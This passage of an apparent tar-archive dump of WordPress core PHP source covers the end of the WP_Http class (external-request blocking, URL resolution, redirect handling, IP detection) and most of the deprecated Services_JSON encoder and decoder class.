preventing external requests. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS * * @param string $uri URI of url. * @return bool True to block, false to allow. */ public function block_request( $uri ) { // We don't need to block requests, because nothing is blocked. if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) { return false; } $check = parse_url( $uri ); if ( ! $check ) { return true; } $home = parse_url( get_option( 'siteurl' ) ); // Don't block requests back to ourselves by default. if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) ) { /** * Filters whether to block local HTTP API requests. * * A local request is one to `localhost` or to the same host as the site itself. * * @since 2.8.0 * * @param bool $block Whether to block local requests. Default false. */ return apply_filters( 'block_local_requests', false ); } if ( ! defined( 'WP_ACCESSIBLE_HOSTS' ) ) { return true; } static $accessible_hosts = null; static $wildcard_regex = array(); if ( null === $accessible_hosts ) { $accessible_hosts = preg_split( '|,\s*|', WP_ACCESSIBLE_HOSTS ); if ( false !== strpos( WP_ACCESSIBLE_HOSTS, '*' ) ) { $wildcard_regex = array(); foreach ( $accessible_hosts as $host ) { $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); } $wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i'; } } if ( ! empty( $wildcard_regex ) ) { return ! preg_match( $wildcard_regex, $check['host'] ); } else { return ! in_array( $check['host'], $accessible_hosts, true ); // Inverse logic, if it's in the array, then don't block it. } } /** * Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7. * * @deprecated 4.4.0 Use wp_parse_url() * @see wp_parse_url() * * @param string $url The URL to parse. * @return bool|array False on failure; Array of URL components on success; * See parse_url()'s return values. */ protected static function parse_url( $url ) { _deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' ); return wp_parse_url( $url ); } /** * Converts a relative URL to an absolute URL relative to a given URL. * * If an Absolute URL is provided, no processing of that URL is done. * * @since 3.4.0 * * @param string $maybe_relative_path The URL which might be relative. * @param string $url The URL which $maybe_relative_path is relative to. * @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned. */ public static function make_absolute_url( $maybe_relative_path, $url ) { if ( empty( $url ) ) { return $maybe_relative_path; } $url_parts = wp_parse_url( $url ); if ( ! $url_parts ) { return $maybe_relative_path; } $relative_url_parts = wp_parse_url( $maybe_relative_path ); if ( ! $relative_url_parts ) { return $maybe_relative_path; } // Check for a scheme on the 'relative' URL. if ( ! empty( $relative_url_parts['scheme'] ) ) { return $maybe_relative_path; } $absolute_path = $url_parts['scheme'] . '://'; // Schemeless URLs will make it this far, so we check for a host in the relative URL // and convert it to a protocol-URL. if ( isset( $relative_url_parts['host'] ) ) { $absolute_path .= $relative_url_parts['host']; if ( isset( $relative_url_parts['port'] ) ) { $absolute_path .= ':' . $relative_url_parts['port']; } } else { $absolute_path .= $url_parts['host']; if ( isset( $url_parts['port'] ) ) { $absolute_path .= ':' . $url_parts['port']; } } // Start off with the absolute URL path. $path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/'; // If it's a root-relative path, then great. if ( ! empty( $relative_url_parts['path'] ) && '/' === $relative_url_parts['path'][0] ) { $path = $relative_url_parts['path']; // Else it's a relative path. } elseif ( ! empty( $relative_url_parts['path'] ) ) { // Strip off any file components from the absolute path. $path = substr( $path, 0, strrpos( $path, '/' ) + 1 ); // Build the new path. $path .= $relative_url_parts['path']; // Strip all /path/../ out of the path. while ( strpos( $path, '../' ) > 1 ) { $path = preg_replace( '![^/]+/\.\./!', '', $path ); } // Strip any final leading ../ from the path. $path = preg_replace( '!^/(\.\./)+!', '', $path ); } // Add the query string. if ( ! empty( $relative_url_parts['query'] ) ) { $path .= '?' . $relative_url_parts['query']; } return $absolute_path . '/' . ltrim( $path, '/' ); } /** * Handles an HTTP redirect and follows it if appropriate. * * @since 3.7.0 * * @param string $url The URL which was requested. * @param array $args The arguments which were used to make the request. * @param array $response The response of the HTTP request. * @return array|false|WP_Error An HTTP API response array if the redirect is successfully followed, * false if no redirect is present, or a WP_Error object if there's an error. */ public static function handle_redirects( $url, $args, $response ) { // If no redirects are present, or, redirects were not requested, perform no action. if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) { return false; } // Only perform redirections on redirection http codes. if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) { return false; } // Don't redirect if we've run out of redirects. if ( $args['redirection']-- <= 0 ) { return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } $redirect_location = $response['headers']['location']; // If there were multiple Location headers, use the last header specified. if ( is_array( $redirect_location ) ) { $redirect_location = array_pop( $redirect_location ); } $redirect_location = WP_Http::make_absolute_url( $redirect_location, $url ); // POST requests should not POST to a redirected location. if ( 'POST' === $args['method'] ) { if ( in_array( $response['response']['code'], array( 302, 303 ), true ) ) { $args['method'] = 'GET'; } } // Include valid cookies in the redirect process. if ( ! empty( $response['cookies'] ) ) { foreach ( $response['cookies'] as $cookie ) { if ( $cookie->test( $redirect_location ) ) { $args['cookies'][] = $cookie; } } } return wp_remote_request( $redirect_location, $args ); } /** * Determines if a specified string represents an IP address or not. * * This function also detects the type of the IP address, returning either * '4' or '6' to represent a IPv4 and IPv6 address respectively. * This does not verify if the IP is a valid IP, only that it appears to be * an IP address. * * @link http://home.deds.nl/~aeron/regex/ for IPv6 regex. * * @since 3.7.0 * * @param string $maybe_ip A suspected IP address. * @return int|false Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure */ public static function is_ip_address( $maybe_ip ) { if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) { return 4; } if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) { return 6; } return false; } } class-json.php000064400000124661151202620300007332 0ustar00 * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @version CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $ * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_SLICE', 1); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_STR', 2); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_ARR', 3); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_OBJ', 4); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_CMT', 5); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_LOOSE_TYPE', 16); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_SUPPRESS_ERRORS', 32); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_USE_TO_JSON', 64); /** * Converts to and from JSON format. * * Brief example of use: * * * // create a new instance of Services_JSON * $json = new Services_JSON(); * * // convert a complex value to JSON notation, and send it to the browser * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); * $output = $json->encode($value); * * print($output); * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] * * // accept incoming POST data, assumed to be in JSON notation * $input = file_get_contents('php://input', 1000000); * $value = $json->decode($input); * */ class Services_JSON { /** * constructs a new JSON instance * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param int $use object behavior flags; combine with boolean-OR * * possible values: * - SERVICES_JSON_LOOSE_TYPE: loose typing. * "{...}" syntax creates associative arrays * instead of objects in decode(). * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. * Values which can't be encoded (e.g. resources) * appear as NULL instead of throwing errors. * By default, a deeply-nested resource will * bubble up with an error, so all return values * from encode() should be checked with isError() * - SERVICES_JSON_USE_TO_JSON: call toJSON when serializing objects * It serializes the return value from the toJSON call rather * than the object itself, toJSON can return associative arrays, * strings or numbers, if you return an object, make sure it does * not have a toJSON method, otherwise an error will occur. */ function __construct( $use = 0 ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $this->use = $use; $this->_mb_strlen = function_exists('mb_strlen'); $this->_mb_convert_encoding = function_exists('mb_convert_encoding'); $this->_mb_substr = function_exists('mb_substr'); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON::__construct() */ public function Services_JSON( $use = 0 ) { _deprecated_constructor( 'Services_JSON', '5.3.0', get_class( $this ) ); self::__construct( $use ); } // private - cache the mbstring lookup results.. var $_mb_strlen = false; var $_mb_substr = false; var $_mb_convert_encoding = false; /** * convert a string from one UTF-16 char to one UTF-8 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf16 UTF-16 character * @return string UTF-8 character * @access private */ function utf162utf8($utf16) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = (ord($utf16[0]) << 8) | ord($utf16[1]); switch(true) { case ((0x7F & $bytes) == $bytes): // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x7F & $bytes); case (0x07FF & $bytes) == $bytes: // return a 2-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xC0 | (($bytes >> 6) & 0x1F)) . chr(0x80 | ($bytes & 0x3F)); case (0xFFFF & $bytes) == $bytes: // return a 3-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xE0 | (($bytes >> 12) & 0x0F)) . chr(0x80 | (($bytes >> 6) & 0x3F)) . chr(0x80 | ($bytes & 0x3F)); } // ignoring UTF-32 for now, sorry return ''; } /** * convert a string from one UTF-8 char to one UTF-16 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibyte string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf8 UTF-8 character * @return string UTF-16 character * @access private */ function utf82utf16($utf8) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch($this->strlen8($utf8)) { case 1: // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return $utf8; case 2: // return a UTF-16 character from a 2-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x07 & (ord($utf8[0]) >> 2)) . chr((0xC0 & (ord($utf8[0]) << 6)) | (0x3F & ord($utf8[1]))); case 3: // return a UTF-16 character from a 3-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr((0xF0 & (ord($utf8[0]) << 4)) | (0x0F & (ord($utf8[1]) >> 2))) . chr((0xC0 & (ord($utf8[1]) << 6)) | (0x7F & ord($utf8[2]))); } // ignoring UTF-32 for now, sorry return ''; } /** * encodes an arbitrary variable into JSON format (and sends JSON Header) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); header('Content-type: application/json'); return $this->encodeUnsafe($var); } /** * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encodeUnsafe($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // see bug #16908 - regarding numeric locale printing $lc = setlocale(LC_NUMERIC, 0); setlocale(LC_NUMERIC, 'C'); $ret = $this->_encode($var); setlocale(LC_NUMERIC, $lc); return $ret; } /** * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function _encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = $this->strlen8($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var[$c]); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var[$c]; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var[$c]; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+1 >= $strlen_var) { $c += 1; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1])); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): if ($c+2 >= $strlen_var) { $c += 2; $ascii .= '?'; break; } // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, @ord($var[$c + 1]), @ord($var[$c + 2])); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): if ($c+3 >= $strlen_var) { $c += 3; $ascii .= '?'; break; } // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3])); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+4 >= $strlen_var) { $c += 4; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4])); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): if ($c+5 >= $strlen_var) { $c += 5; $ascii .= '?'; break; } // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]), ord($var[$c + 5])); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } // treat it like a regular array $elements = array_map(array($this, '_encode'), $var); foreach($elements as $element) { if(Services_JSON::isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': // support toJSON methods. if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) { // this may end up allowing unlimited recursion // so we check the return value to make sure it's not got the same method. $recode = $var->toJSON(); if (method_exists($recode, 'toJSON')) { return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(get_class($var). " toJSON returned an object with a toJSON method."); } return $this->_encode( $recode ); } $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ function name_value($name, $value) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $encoded_value = $this->_encode($value); if(Services_JSON::isError($encoded_value)) { return $encoded_value; } return $this->_encode((string) $name) . ':' . $encoded_value; } /** * reduce a string by removing leading and trailing comments and whitespace * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param $str string string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ function reduce_string($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $str JSON-formatted string * * @return mixed number, boolean, string, array, or object * corresponding to given JSON input string. * See argument 1 to Services_JSON() above for object-output behavior. * Note that decode() always returns strings * in ASCII or UTF-8 format! * @access public */ function decode($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = $this->substr8($str, 0, 1); $chrs = $this->substr8($str, 1, -1); $utf8 = ''; $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); $ord_chrs_c = ord($chrs[$c]); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs[++$c]; } break; case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2))) . chr(hexdec($this->substr8($chrs, ($c + 4), 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs[$c]; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str[0] == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = $this->substr8($str, 1, -1); $chrs = $this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs[$c] == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = $this->substr8($chrs, $top['where'], ($c - $top['where'])); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == SERVICES_JSON_IN_ARR) { // we are in an array, so just push an element onto the stack array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now $parts = array(); if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) { // "name":value pair $key = $this->decode($parts[1]); $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } } } elseif ((($chrs[$c] == '"') || ($chrs[$c] == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { // found a quote, and we are not inside a string array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c])); //print("Found start of string at {$c}\n"); } elseif (($chrs[$c] == $top['delim']) && ($top['what'] == SERVICES_JSON_IN_STR) && (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) { // found a quote, we're in a string, and it's not escaped // we know that it's not escaped because there is _not_ an // odd number of backslashes at the end of the string so far array_pop($stk); //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '[') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-bracket, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); //print("Found start of array at {$c}\n"); } elseif (($chrs[$c] == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { // found a right-bracket, and we're in an array array_pop($stk); //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($chrs[$c] == '{') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a left-brace, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); //print("Found start of object at {$c}\n"); } elseif (($chrs[$c] == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { // found a right-brace, and we're in an object array_pop($stk); //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } elseif (($substr_chrs_c_2 == '/*') && in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { // found a comment start, and we are in an array, object, or slice array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); $c++; //print("Found start of comment at {$c}\n"); } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { // found a comment end, and we're in one now array_pop($stk); $c++; for ($i = $top['where']; $i <= $c; ++$i) $chrs = substr_replace($chrs, ' ', $i, 1); //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); } } if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { return $obj; } } } } /** * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @todo Ultimately, this should just call PEAR::isError() */ function isError($data, $code = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if (class_exists('pear')) { return PEAR::isError($data, $code); } elseif (is_object($data) && ($data instanceof services_json_error || is_subclass_of($data, 'services_json_error'))) { return true; } return false; } /** * Calculates length of string in bytes * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @return integer length */ function strlen8( $str ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $this->_mb_strlen ) { return mb_strlen( $str, "8bit" ); } return strlen( $str ); } /** * Returns part of a string, interpreting $start and $length as number of bytes. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string * @param integer start * @param integer length * @return integer length */ function substr8( $string, $start, $length=false ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); if ( $length === false ) { $length = $this->strlen8( $string ) - $start; } if ( $this->_mb_substr ) { return mb_substr( $string, $start, $length, "8bit" ); } return substr( $string, $start, $length ); } } if (class_exists('PEAR_Error')) { class Services_JSON_Error extends PEAR_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); parent::PEAR_Error($message, $code, $mode, $options, $userinfo); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error($message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct($message, $code, $mode, $options, $userinfo); } } } else { /** * @todo Ultimately, this class shall be descended from PEAR_Error */ class Services_JSON_Error { /** * PHP5 constructor. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. */ function __construct( $message = 'unknown error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON_Error::__construct() */ public function Services_JSON_Error( $message = 'unknown 